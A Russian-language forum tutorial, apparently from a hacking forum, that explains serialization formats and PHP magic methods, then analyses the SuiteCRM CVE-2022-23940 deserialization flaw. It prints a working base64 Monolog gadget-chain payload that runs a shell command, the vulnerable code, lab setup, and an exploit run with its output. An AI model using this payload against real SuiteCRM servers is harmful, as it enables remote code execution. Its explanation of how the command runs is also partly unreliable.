ДеСериализация 101 [Находим]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Хотел написать статью про другую уязвимость, но отвлёкся и обнаружил себя среди путаницы, которую теперь постараюсь объяснить. Если я где то не так написал, грамматически или технически, не стесняйтесь исправлять.

Кодирование (encoding) — это процесс преобразования данных из одного формата в другой. Обычно это делается для того, чтобы данные можно было передавать по сети или хранить в определенной форме. Например:
Кодирование текста
Представьте, что у вас есть текст "Привет" и вы хотите передать его по сети. Чтобы избежать проблем с несовместимостью символов, вы кодируете этот текст в UTF-8.
Код: Скопировать в буфер обмена
Код:
Привет
# Кодирование в UTF-8
D0 9F D1 80 D0 B8 D0 B2 D0 B5 D1 82
Таблица на английском:
1716299908859.png
Также есть сайт: https://planetcalc.com/9033/

Сериализация — это процесс преобразования данных (объекта) в переносимый формат (поток байтов). Сериализовать можно любые данные, даже уже сериализованные. Например:
Представьте, что у вас есть объект в программе, например, объект пользователя:
Код: Скопировать в буфер обмена
Код:
user = {
    "name": "Andy",
    "age": 34,
    "email": "andy@xss.is"
}
Вы хотите сохранить этот объект в файл или передать его по сети. Вы сериализуете его в формат JSON:
Код: Скопировать в буфер обмена
Код:
{
    "name": "Andy",
    "age": 34,
    "email": "andy@xss.is"
}
Этот JSON можно сохранить в файл или передать по сети. Когда вам нужно будет восстановить объект, вы десериализуете JSON обратно в объект:
Код: Скопировать в буфер обмена
user = json.loads(json_string)

### А какая разница и зачем нам это всё?​

Кодирование данных необходимо для обеспечения переносимости и отображения данных. Оно не предоставляет безопасности, как шифрование, но может быть использовано в сочетании с ним. Например, данные можно кодировать в base64 или hex для безопасного перемещения по сетям и приложениям, избегая при этом невидимых символов и управляющих команд, которые могут вызвать проблемы. Закодированные данные часто не читаемы человеком.

Основная цель сериализации — сохранить состояние объекта или структуры данных для хранения и передачи. Сериализованные данные могут быть легко читаемы человеком, особенно если используются форматы вроде JSON или XML. Допустим, у вас есть игра, и вы хотите сохранить текущее состояние игры. Вы можете сериализовать объект состояния игры в JSON и сохранить его в файл. Когда игрок возвращается, вы можете десериализовать этот файл обратно в объект и продолжить игру с того же места.

### Основы XML​

XML (Extensible Markup Language) был создан на основе языка SGML (Standard Generalized Markup Language) в 1996 году и получил широкое распространение в 1998 году. XML используется для системной интеграции и передачи данных между различными системами. В отличие от HTML, который используется для отображения информации в веб-браузерах, XML часто используется для обмена данными между системами и создания интерфейсов.

XML-файлы начинаются с пролога, который обычно содержит декларацию XML с указанием версии и кодировки.
Код: Скопировать в буфер обмена
<?xml version="1.0" encoding="UTF-8"?>
Далее следует корневой элемент, который может содержать вложенные элементы. Каждый элемент XML должен иметь начальный и конечный теги, и структура элементов должна быть строго иерархической. Элементы XML могут содержать атрибуты в формате "имя-значение", текст, другие элементы или их комбинацию. Например, элемент Gamer содержит атрибут id и вложенные элементы name и type.
Код: Скопировать в буфер обмена
Код:
<Gamers>
  <Gamer id="G1">
    <name>Random Adventure Game</name>
    <type>Adventure</type>
  </Gamer>
  <Gamer id="G2">
    <name>Random Adventure Game 2</name>
    <type>Adventure</type>
  </Gamer>
</Gamers>

### Основы JSON​

JSON (JavaScript Object Notation) изначально был разработан для использования с JavaScript, но в настоящее время он поддерживается многими языками программирования. JSON стандартизирован IETF (Internet Engineering Task Force) и используется для передачи данных в веб-приложениях благодаря своей простоте и читабельности.

JSON представляет данные в формате пар "ключ-значение". Ключи всегда являются строками, а значения могут быть любого типа данных JSON, включая объекты, массивы... JSON-объекты заключаются в фигурные скобки {}, а массивы – в квадратные скобки []. В JSON строки могут содержать различные символы, включая специальные символы, которые требуют использования escape-последовательностей для корректного представления. Эти escape-последовательности обеспечивают правильную интерпретацию символов и предотвращают ошибки при разборе JSON-документа.
Код: Скопировать в буфер обмена
Код:
\ (обратная косая черта):
    Используется для представления самой обратной косой черты.
    Пример: "C:\\Program Files\\MyApp"
" (двойные кавычки):
    Используется для представления двойных кавычек внутри строки.
    Пример: "She said, \"Hello!\""
/ (прямая косая черта):
    Используется для представления прямой косой черты. Обычно она не требует escape, но иногда используется для совместимости.
    Пример: "http:\/\/www.example.com"
\b (возврат в начало):
    Представляет символ возврата в начало (Backspace).
    Пример: "Hello\bWorld" будет интерпретироваться как "HellWorld", так как \b удаляет "o".
\f (прогон страницы):
    Представляет символ прогонки страницы (Formfeed).
    Пример: "Hello\fWorld" интерпретируется как "Hello World" с прогонкой страницы между ними (Используется для управления печатью, заставляя принтер перейти на новую страницу).
\n (новая строка):
    Представляет символ новой строки.
    Пример: "Hello\nWorld"
\t (табуляция - tab):
    Представляет символ табуляции.
    Пример: "Hello\tWorld" интерпретируется как "Hello World", где между "Hello" и "World" вставляется tab.

### Основы YAML​

YAML (YAML Ain't Markup Language / Yet Another Markup Language) был создан как гибкий язык сериализации данных и получил (широкое?) применение в конфигурационных файлах для пентест инструментов, таких как Nuclei . YAML позволяет использовать все печатные символы Unicode, включая управляющие символы, за исключением табуляции.

YAML имеет строгие правила отступов, и правильное парсинг данных возможен только при правильном использовании пробелов. YAML-документы начинаются с трех дефисов --- и заканчиваются тремя точками .... Комментарии обозначаются знаком решетки # (На остальные можете отсюда посмотреть: https://kapeli.com/cheat_sheets/YAML.docset/Contents/Resources/Documents/index). CVE-2000-0114.yaml:
Код: Скопировать в буфер обмена
Код:
id: CVE-2000-0114

info:
  name: Microsoft FrontPage Extensions Check (shtml.dll)
  author: r3naissance
  severity: medium
  description: Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
  impact: |
    High: Remote code execution or denial of service.
  remediation: Upgrade to the latest version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2000-0114
    - https://www.exploit-db.com/exploits/19897
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/CVE-2000-0114
    - https://github.com/0xPugazh/One-Liners
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2000-0114
    cwe-id: NVD-CWE-Other
    epss-score: 0.15958
    epss-percentile: 0.95829
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: internet_information_server
  tags: cve,cve2000,frontpage,microsoft,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/_vti_inf.html'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "_vti_bin/shtml.dll"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f18bd6804b42bce98cc02cea3261854e17f9d58bcb7034e2dc7289c456c57c0d022100d91840b613c0b2544a15e2ae802e176fea630dee4788fe64c5e40f9082bc1374:922c64590222798bb761d5b6d8e72950

## CVE-2022-23940​

Эта уязвимость для меня более запутана, чем любая другая уязвимость, связанная с вебом. Потому что нужно учитывать множество вещей, а у меня нет знаний о буфере, который, насколько я понимаю, является ключевым моментом в данном случае. Начнем с основ (буфер трогать я не буду). Ставим песню Adele - Skyfall.

### Начало [Про Софт]​

SuiteCRM — это бесплатная и открытая система управления взаимоотношениями с клиентами (CRM), основанная на платформе SugarCRM. SugarCRM — это система управления взаимоотношениями с клиентами (CRM), которая помогает организациям управлять продажами, маркетингом и поддержкой клиентов. SuiteCRM основан на SugarCRM, потому что изначально это был форк (ответвление) SugarCRM Community Edition (CE). Когда SugarCRM прекратила поддержку и развитие своей открытой версии CE, разработчики SuiteCRM решили продолжить развитие этого продукта, добавляя новые функции и улучшения.

### Что нужно для работы SuiteCRM? На чём это написано? Какой фреймворк? Какие библиотеки?​

Весь список можно увидеть тут: https://raw.githubusercontent.com/salesagility/SuiteCRM/hotfix/composer.json
Написан на PHP и использует Symfony .

### Глубже в сериализацию​

В PHP для сериализации предусмотрены различные функции, такие как serialize(), unserialize(), json_encode(), json_decode() и другие.

serialize() и unserialize()
Функция serialize() преобразует переменную PHP в строку, которую можно сохранить или передать, а функция unserialize() выполняет обратный процесс.
Код: Скопировать в буфер обмена
Код:
<?php
// Создаем массив
$data = array(
    "name" => "Andy",
    "age" => 34,
    "languages" => array("Russian", "English", "Latin")
);

// Сериализация массива
$serializedData = serialize($data);
echo "Serialized data: " . $serializedData . "\n";

// Десериализация строки обратно в массив
$unserializedData = unserialize($serializedData);
print_r($unserializedData);
?>
Ответ:
Код: Скопировать в буфер обмена
Код:
Serialized data: a:3:{s:4:"name";s:4:"Andy";s:3:"age";i:34;s:9:"languages";a:3:{i:0;s:7:"Russian";i:1;s:7:"English";i:2;s:5:"Latin";}}
Array
(
    [name] => Andy
    [age] => 34
    [languages] => Array
        (
            [0] => Russian
            [1] => English
            [2] => Latin
        )

)
Давайте разберём данный пример более подробно.
a:3: - это начало ассоциативного массива, содержащего 3 элемента. a означает, что это массив (array). 3 - количество элементов в массиве.
s:4:"name";s:4:"Andy";s:4:"name" - строка (string) длиной 4 символа с значением "name". s:4:"Andy" - строка длиной 4 символа с значением "Andy".
s:3:"age";i:34; s:3:"age" - строка длиной 3 символа с значением "age". i:34 - целое число (integer) со значением 34.
В этом массиве, есть ещё один массив - s:9:"languages";a:3:{i:0;s:7:"Russian";i:1;s:7:"English";i:2;s:5:"Latin";}
s:9:"languages" - строка длиной 9 символов с значением "languages".
i:0;s:7:"Russian"; i:0 - индекс массива с значением 0. s:7:"Russian" - строка длиной 7 символов с значением "Russian".

json_encode() и json_decode()
Функции json_encode() и json_decode() используются для преобразования данных в формат JSON и обратно.
Код: Скопировать в буфер обмена
Код:
<?php
// Создаем массив
$data = array(
    "name" => "Andy",
    "age" => 34,
    "languages" => array("Russian", "English", "Latin")
);

// Преобразование массива в JSON строку
$jsonData = json_encode($data);
echo "JSON data: " . $jsonData . "\n";

// Преобразование JSON строки обратно в массив
$decodedData = json_decode($jsonData, true);
print_r($decodedData);
?>
Ответ:
Код: Скопировать в буфер обмена
Код:
JSON data: {"name":"Andy","age":34,"languages":["Russian","English","Latin"]}
Array
(
    [name] => Andy
    [age] => 34
    [languages] => Array
        (
            [0] => Russian
            [1] => English
            [2] => Latin
        )

)
Здесь нечего объяснять.
Магические методы для сериализации и десериализации
В PHP также существуют магические методы, которые используются в процессе сериализации и десериализации объектов: __sleep, __wakeup, __unserialize, __destruct и __toString.

__sleep
Метод __sleep вызывается перед сериализацией объекта. Он должен возвращать массив с именами всех свойств объекта, которые должны быть сериализованы. Этот метод часто используется для завершения незавершённых операций или очистки данных.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $name;
    public $age;
    private $password;

    public function __construct($name, $age, $password) {
        $this->name = $name;
        $this->age = $age;
        $this->password = $password;
    }

    public function __sleep() {
        return ['name', 'age'];
    }
}

$user = new User("Andy", 34, "securepassword");
$serializedUser = serialize($user);
echo "Serialized User: " . $serializedUser . "\n";
?>
\
Ответ:
Код: Скопировать в буфер обмена
Serialized User: O:4:"User":2:{s:4:"name";s:4:"Andy";s:3:"age";i:34;}
__wakeup

Метод __wakeup вызывается при десериализации объекта. Он используется для восстановления соединений с базой данных.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    public function __wakeup() {
        // Код для восстановления соединений и других задач
        echo "Object has been deserialized and reinitialized.\n";
    }
}

$serializedUser = 'O:4:"User":2:{s:4:"name";s:4:"Andy";s:3:"age";i:34;}';
$user = unserialize($serializedUser);
echo $user
?>
__unserialize

Метод __unserialize вызывается вместо __wakeup при десериализации объекта.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    public function __unserialize(array $data) {
        $this->name = $data['name'];
        $this->age = $data['age'];
        // Дополнительный код для инициализации
        echo "Object has been deserialized and reinitialized using __unserialize.\n";
    }
}

$serializedUser = 'O:4:"User":2:{s:4:"name";s:4:"Andy";s:3:"age";i:34;}';
$user = unserialize($serializedUser);
?>
Разница между ансериалайз и вейк ап (Читать не советую)
Когда вы десериализуете объект с помощью unserialize(), PHP восстанавливает свойства объекта из сериализованных данных. Затем вызывается метод __wakeup, и вы можете получить доступ к этим свойствам через $this. Однако у вас нет контроля над процессом восстановления свойств; они уже восстановлены до вызова __wakeup.
Код: Скопировать в буфер обмена
Код:
class MyClass {
    private $name;
    private $age;

    public function __wakeup() {
        // Восстановленные свойства объекта
        if ($this->age < 0) {
            $this->age = 0; // Исправление значения
        }
    }
}

// Пример сериализации и десериализации
$obj = new MyClass();
$obj->name = "Andy";
$obj->age = -34;

$serialized = serialize($obj);
$deserialized = unserialize($serialized);

// В момент вызова __wakeup все свойства объекта уже восстановлены из сериализованных данных
В методе __unserialize у вас есть прямой доступ к массиву данных $data, и вы можете использовать его для восстановления состояния объекта. Это позволяет вам контролировать процесс десериализации с большей точностью, устанавливать значения свойств и применять любую необходимую логику непосредственно при восстановлении объекта.
Код: Скопировать в буфер обмена
Код:
class MyClass {
    private $name;
    private $age;

    public function __unserialize(array $data): void {
        // Восстановление свойств объекта из массива данных
        $this->name = $data['name'] ?? 'defaultName';
        $this->age = $data['age'] ?? 0;

        if ($this->age < 0) {
            $this->age = 0; // Исправление значения
        }
    }

    public function __serialize(): array {
        return [
            'name' => $this->name,
            'age' => $this->age,
        ];
    }
}

// Пример сериализации и десериализации
$obj = new MyClass();
$obj->name = "Andy";
$obj->age = -34;

$serialized = serialize($obj);
$deserialized = unserialize($serialized);

// В момент вызова __unserialize свойства объекта восстанавливаются вручную
__destruct

Метод __destruct вызывается при уничтожении объекта или при завершении работы скрипта. Обычно он используется для выполнения задач очистки, таких как закрытие файловых дескрипторов или соединений с базой данных.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    public function __destruct() {
        // Код для выполнения задач очистки
        echo "Object has been destroyed.\n";
    }
}

$user = new User("Andy", 34);
unset($user); // Принудительно уничтожаем объект
?>
__toString

Метод __toString позволяет объекту быть преобразованным в строку. Это может быть полезно для чтения файла или выполнения других задач, предоставляя текстовое представление объекта.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    public function __toString() {
        return "Name: " . $this->name . ", Age: " . $this->age;
    }
}

$user = new User("Andy", 34);
echo $user; // Использует метод __toString для вывода объекта в виде строки
?>
Ответ:
Код: Скопировать в буфер обмена
Name: Andy, Age: 34
Так как же эти функции ведут к РЦЕ?
Вкратце, как я понял, какой то продукт использует функцию десериализации и скажем библиотеку Х. Хацкер вызывает объект в этой библиотеке, который будет обрабатывать то что мы написали как команду.

### Сама уязвимость​

В эксплоите есть такой пэйлоад:
Код: Скопировать в буфер обмена
YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ==
Так будет более понятней:
Код: Скопировать в буфер обмена
Код:
a:2:{
    i:7;
    O:32:"Monolog\Handler\SyslogUdpHandler":1:{
        s:9:"\0*\0socket";
        O:29:"Monolog\Handler\BufferHandler":7:{
            s:10:"\0*\0handler";
            O:29:"Monolog\Handler\BufferHandler":7:{
                s:10:"\0*\0handler";N;
                s:13:"\0*\0bufferSize";i:-1;
                s:9:"\0*\0buffer";a:1:{
                    i:0;a:2:{
                        i:0;s:17:"touch /tmp/hacked";
                        s:5:"level";N;
                    }
                }
                s:8:"\0*\0level";N;
                s:14:"\0*\0initialized";b:1;
                s:14:"\0*\0bufferLimit";i:-1;
                s:13:"\0*\0processors";a:2:{
                    i:0;s:7:"current";
                    i:1;s:6:"system";
                }
            }
            s:13:"\0*\0bufferSize";i:-1;
            s:9:"\0*\0buffer";a:1:{
                i:0;a:2:{
                    i:0;s:17:"touch /tmp/hacked";
                    s:5:"level";N;
                }
            }
            s:8:"\0*\0level";N;
            s:14:"\0*\0initialized";b:1;
            s:14:"\0*\0bufferLimit";i:-1;
            s:13:"\0*\0processors";a:2:{
                i:0;s:7:"current";
                i:1;s:6:"system";
            }
        }
    }
    i:7;
    i:7;
}
Как человек который программированием не занимается, увидев это первым делом загуглил "Monolog\Handler\SyslogUdpHandler", вышел лаварел, который в нашем продукте вроде бы не используется. Понял что монолог это библиотека, которая как раз таки есть в composer.json. Понимаем что здесь что-то связанное с логировсанием и буфером. Прежде чем как просмотреть сам уязвимый код, поверхностно чекнем то что в верхнем пейлоаде написано, чтобы увидев код у нас не возник вопрос "А где RCE то?"
Класс SyslogUdpHandler из Monolog используется для отправки логов на удаленный syslog-сервер через UDP. Важной частью этого класса является использование сокетов для отправки данных. (https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/SyslogUdpHandler.php)

Когда Monolog обрабатывает лог-сообщения, он проверяет, есть ли записи в буфере, и передает их следующему обработчику. В данном случае, буфер содержит не просто лог-сообщения, а специально подготовленные данные:
Код: Скопировать в буфер обмена
Код:
a:1:{
    i:0; a:2:{
        i:0; s:17:"touch /tmp/hacked";
        s:5:"level"; N;
    }
}
Метод handle класса BufferHandler сохраняет записи в буфер и, при необходимости, передает их следующему обработчику. В этой уязвимости важно понять, что данные в буфере обрабатываются не как простые строки, а как структуры данных, которые могут включать команды:
Код: Скопировать в буфер обмена
Код:
    public function handle(LogRecord $record): bool
    {
        if ($record->level->isLowerThan($this->level)) {
            return false;
        }

        if (!$this->initialized) {
            // __destructor() doesn't get called on Fatal errors
            register_shutdown_function([$this, 'close']);
            $this->initialized = true;
        }
    // Проверка размера буфера и его сброс при необходимости
        if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) {
            if ($this->flushOnOverflow) {
                $this->flush();
            } else {
                array_shift($this->buffer);
                $this->bufferSize--;
            }
        }

        if (\count($this->processors) > 0) {
            $record = $this->processRecord($record);
        }
    // Добавление записи в буфер
        $this->buffer[] = $record;
        $this->bufferSize++;

        return false === $this->bubble;
    }

    public function flush(): void
    {
        if ($this->bufferSize === 0) {
            return;
        }

        $this->handler->handleBatch($this->buffer);
        $this->clear(); # Очистка буфера
    }
        public function clear(): void
    {
        $this->bufferSize = 0;
        $this->buffer = []; # Очистка буфера
    }
Наверху 3 основные функции, handle, flush, clear. Функция flush передает все записи из буфера следующему обработчику. В данном случае, следующему обработчику SyslogUdpHandler, который записывает данные в сокет:
Код: Скопировать в буфер обмена
Код:
    protected function write(LogRecord $record): void
    {
        $lines = $this->splitMessageIntoLines($record->formatted);

        $header = $this->makeCommonSyslogHeader($this->toSyslogPriority($record->level), $record->datetime);

        foreach ($lines as $line) {
            $this->socket->write($line, $header);
        }
    }
Специально подготовленные данные в буфере могут включать команды, которые при передаче и записи в сокет будут интерпретированы и выполнены системой. В нашем случае, команда touch /tmp/hacked создаст файл /tmp/hacked на системе, где выполняется код.

Всё ещё не поняли?
Когда данные записываются в сокет через метод write, система интерпретирует их как команды, которые выполняются. Глубже чем это пойти я не осилю, этот анализ сделал благодаря GPT. Также учтите что нынче в основном это не нужно бывает, тк есть софт про который автор эксплоита сам написал: https://github.com/ambionics/phpggc. Автор там использовал Monolog/RCE2.

Анализ уязвимого кода
Код: Скопировать в буфер обмена
Код:
    public function save($check_notify = false)
    {
        if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
            $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
        }
В параметр email_recipients можно добавить любые закодированные в base64 + сериализованные данные, нет проверки которая предотвратила бы добавление данных кроме email_target_type и email. Как раз так и в фиксе убрали код выше и добавли код ниже, который проверяет сериализованные данные которые принимаются (https://github.com/salesagility/Sui...8cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2)
Код: Скопировать в буфер обмена
Код:
    protected function parseRecipients(): void
    {
        $recipients = $_POST['email_recipients'] ?? null;
        unset($_POST['email_recipients'], $_REQUEST['email_recipients'], $_GET['email_recipients']);
        $this->email_recipients = null;

        if (is_array($recipients)) {
            $types = $recipients['email_target_type'] ?? [];
            $emailInfo = $recipients['email'] ?? [];
            $recipients = [
                'email_target_type' => $types,
                'email' => $emailInfo,
            ];

            $this->email_recipients = base64_encode(serialize($recipients));
        }
    }
Так зачем нам всё что я написал выше?
Потому что без этого не понять как функция которая из одного формата в другой переводит, может быть причиной RCE.

### Проверка Эксплоита​

Значит версия 7.12.0 уязвима, её можно так поднять:
Код: Скопировать в буфер обмена
Код:
wget 'https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.0.zip'
unzip v7.12.0.zip
chown www-data:www-data /var/www/html -R
Открываем http://127.0.0.1/SuiteCRM-7.12.0/install.php и видим что нужно composer загрузить
Код: Скопировать в буфер обмена
Код:
apt update && apt install composer -y
cd SuiteCRM-7.12.0
apt install php-mysql php-xml php-curl php-gd php-imap php-zip php-dom -y
composer install
Меняем файл /etc/php/8.1/apache2/php.ini
Код: Скопировать в буфер обмена
upload_max_filesize = 10M
Пишем команду
Код: Скопировать в буфер обмена
service apache2 restart
Создаём бд и пользователя suitecrm
Код: Скопировать в буфер обмена
Код:
CREATE DATABASE suitecrm_db;
CREATE USER 'suitecrm_user'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON suitecrm_db.* TO 'suitecrm_user'@'localhost';
FLUSH PRIVILEGES;
EXIT;
Значит либо проблема с верией php, либо проблема в их коде, нужно открыть файл install/performSetup.php строку 715 и заменить GLOBALS = $varStack['GLOBALS']; на
Код: Скопировать в буфер обмена
Код:
foreach ($varStack['GLOBALS'] as $key => $value) {
    $GLOBALS[$key] = $value;
}
Открываем http://127.0.0.1/SuiteCRM-7.12.0/install.php, пишем данные бд, на демо ставим "Да" и продолжаем (в SuiteCRM Database User выбираем provide existing user).

Если вы воспользуетесь эксплоитом (https://github.com/manuelz120/CVE-2022-23940), то он будет работать без проблем:
Код: Скопировать в буфер обмена
Код:
python3 exploit.py -u admin -p admin --host http://127.0.0.1/SuiteCRM-7.12.0/ -P 'ping 1.1.1.1'

======
www-data    1778     985  0 15:21 ?        00:00:00 sh -c ping 1.1.1.1
www-data    1779    1778  0 15:21 ?        00:00:00 ping 1.1.1.1

Заключение​

В этой статье мы познакомились с сериализацией, чекнули цвешку а в следующей будет эксплаутация. моя цель чтобы мы могли написать эксплоиты такого рода сами.

Продолжение следует...

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу